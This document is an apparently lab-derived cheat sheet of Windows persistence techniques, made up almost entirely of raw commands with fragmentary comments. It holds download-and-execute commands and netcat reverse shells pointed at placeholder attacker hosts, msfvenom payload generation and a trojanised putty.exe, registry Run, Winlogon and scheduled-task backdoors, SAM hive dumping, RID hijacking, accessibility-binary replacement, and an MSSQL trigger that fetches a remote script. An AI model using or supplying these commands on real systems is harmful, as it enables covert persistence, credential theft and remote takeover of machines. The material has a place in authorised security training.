Invoke-WebRequest http://<attacker-IP>:<attackerPort>/shell.exe -OutFile .\shell2.exe
certutil -urlcache -split -f http://<attacker-IP>:<attacker-Port/shell.exe
multi/handler
on attacker and set PAYLOAD windows/meterpreter/reverse_tcp
C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
%appdata%
and add a registry keyreg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\<USER>\AppData\Roaming\backdoor.exe"
bitsadmin /create __shell__
bitsadmin /addfile __shell__ "http://<attacker-IP>:<attacker-Port>/shell2.exe" "C:\Users\<USER>\Documents\shell2.exe"
bitsadmin /SetNotifyCmdLine 1 cmd.exe "/c shell2.exe /complete __shell__ | start /B C:\Users\<USER>\Documents\shell2.exe"
bitsadmin /SetMinRetryDelay 30
bitsadmin /resume
net user /add <user> <pass>
net localgroup administrators <user> /add
net localgroup Administrator
net localgroup "Backup Operators" <user> /add
net localgroup "Remote Management Users" <user> /add
The following two groups are assigned through membership of Backup Operators
Any local group is stripped of off its admin permissions when logging in via RDP. Therefore disable the following regkey via
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Backup Operators
is enabled via whoami /groups
SAM
and SYSTEM
via reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak
secretsdump.py -sam sam.bak -system system.bak LOCAL
secedit /export /cfg config.inf
SeBackupPrivilege = [...],<username>
SeRestorePrivilege = [...],<username>
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.infk
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
LocalAccountTokenFilterPolicy
to 1
like in the section beforeRID = 500
RID >= 1000
wmic useraccount get name,sid
500
to regular user PsExec64.exe -i -s regedit
HKLM\SAM\SAM\Domains\Account\Users\<0xRID>
F
and change effective RID at position 0x30
0d500
, which is f401
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\yadda\shell2.exe" /f
load powershell
and powershell_shell
New-Service -Name "<SERVICE_NAME>" -BinaryPathName "<PATH_TO_BINARY>" -Description "<SERVICE_DESCRIPTION>" -StartupType "Boot"
sc.exe create SteamUpdater binPath= "net user Administrator Passwd123" start= auto
sc.exe start SteamUpdater
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe-service -o SteamUpdater.exe
sc.exe query state=all
* Info about a specific service, start type should be automatic, service start name should be target user
sc.exe qc <ServiceName>
* Reconfigure
sc.exe config FoundService binPath= "C:\Windows\SteamUpdater.exe" start= auto obj= "LocalSystem"
sc.exe start FoundService
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C"\Users\Administrator\Documents\rshell.exe
$B = New-ScheduledTaskTrigger -AtLogOn
$C = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY/SYSTEM" -RunLevel Highest
$D = New-ScheduledTaskSettingsSet
$E = New-ScheduledTask -Action $A -Trigger $B -Principal $C -Settings $D
Register-ScheduledTask ReverseShell -InputObject $E
schtasks
schtasks /create /sc minute /mo 1 /tn SteamUpdater /tr "c:\windows\temp\nc.exe -e cmd.exe $ATTACKER_IP $ATTACKER_PORT" /ru SYSTEM
* Check task
schtasks /query /tn SteamUpdater
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\<taskname>\SD
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=$ATTACKER_IP lport=$ATTACKER_PORT -b "\x00" -f exe -o puttyX.exe
Properties
-> Target
certainlynobackdoor.ps1
via powershell.exe -WindowStyle hidden C:\Windows\System32\certainlynobackdoor.ps1
certainlynobackdoor.ps1
Start-Process -NoNewWindow "c:\tools\nc.exe" "-e cmd.exe $ATTACKER_IP $ATTACKER_PORT"
C:\Windows\System32\calc.exe
ProgID
of a file type inside registry HKLM\Software\Classes\
<class>/shell/open/command
contains the file to be opened as the first argument %1
Start-Process -NoNewWindow "c:\windows\temp\nc.exe" "-e cmd.exe $ATTACKER_IP $ATTACKER_PORT"
C:\Windows\system32\NOTEPAD.EXE $args[0]
command\default
to powershell -windowstyle hidden C:\windows\temp\steamupdater.ps1 %1
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
Create Expandable String Value
under any of this keys with the value of the reverse shell path
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
loads user profile after authentication is done
shell
or Userinit
can be appended with a comma separated commanduserinit.exe
checks var UserInitMprLogonScript
which cann be used to load logon scripts
Create variable UserInitMprLogonScript
under HKCU\Environment
which gets the reverse shell as a payload
C:\Windows\System32\sethc.exe
will be executedtakeown /f c:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
cmd.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
cmd.exe
takeown /f c:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
iis apppool\defaultapppool
Has SeImpersonatePrivilege
C:\inetpub\wwwroot
on targethttp://$TARGET_IP/shell.aspx
Triggers bind actions such as INSERTs
Open Microsoft SQL Server Management Studio
New Query
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO
sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
* Grant privileges to all users
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
* Change to DB
USE <DATABASE>
* Create trigger
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
Social_engineering